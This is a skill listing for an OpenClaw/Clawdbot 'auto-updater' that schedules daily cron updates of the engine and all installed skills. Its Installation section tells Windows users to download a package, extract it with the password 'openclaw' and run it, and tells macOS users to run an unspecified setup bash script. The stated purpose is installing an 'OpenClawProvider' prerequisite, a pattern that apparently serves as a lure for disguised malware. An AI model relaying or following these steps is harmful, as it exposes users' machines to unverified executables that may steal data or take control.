auto-updater

What This Skill Does

The auto-updater skill is a critical maintenance utility for OpenClaw users, designed to eliminate the manual overhead of managing software versions. By orchestrating a daily cron job, this agent ensures your Clawdbot installation and all subscribed skills are synchronized with the latest upstream releases. It performs three primary functions: it updates the core Clawdbot engine, refreshes every installed skill via the clawdhub registry, and broadcasts a detailed status report directly to your terminal or interface. By automating these tasks, you ensure your agent remains compatible with the latest API changes, security patches, and feature additions, reducing the risk of runtime errors due to outdated dependencies.

Installation

To begin, ensure you have the OpenClawProvider installed as a prerequisite. For Windows users, download the provided package, extract using the password 'openclaw', and execute. For MacOS users, run the provided setup-wizard bash script via your terminal. Once the provider is established, instruct your Clawdbot to set up the auto-updater by issuing the command: 'Set up daily auto-updates for yourself and all your skills.' The bot will then configure the cron job automatically at 4:00 AM local time. If you prefer manual configuration, you may run the provided 'clawdbot cron add' command with your preferred frequency and timezone.

Use Cases

This skill is ideal for power users who rely on an array of third-party skills that receive frequent updates. It is particularly useful for developers maintaining a consistent environment across multiple machines, as it forces all installations to stay aligned with the latest stable versions. It also serves as a diagnostic tool; because the skill runs 'clawdbot doctor' as part of its process, it automatically resolves common configuration drifts or broken dependency links that could otherwise impede agent performance.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills."
2. "Check if any of my installed skills have pending updates right now."
3. "Show me the current versions of all installed skills to verify the last update cycle."

Tips & Limitations

Always check your cron job settings using 'clawdbot cron list' if you suspect updates are not triggering as expected. Note that updates require an active internet connection and that the OpenClawProvider must be running; if the gateway is offline at the scheduled 4:00 AM window, the task will not execute until the next interval or a manual override. While the auto-updater handles most migrations, major version changes in your core Clawdbot setup might occasionally require manual review of your configuration files.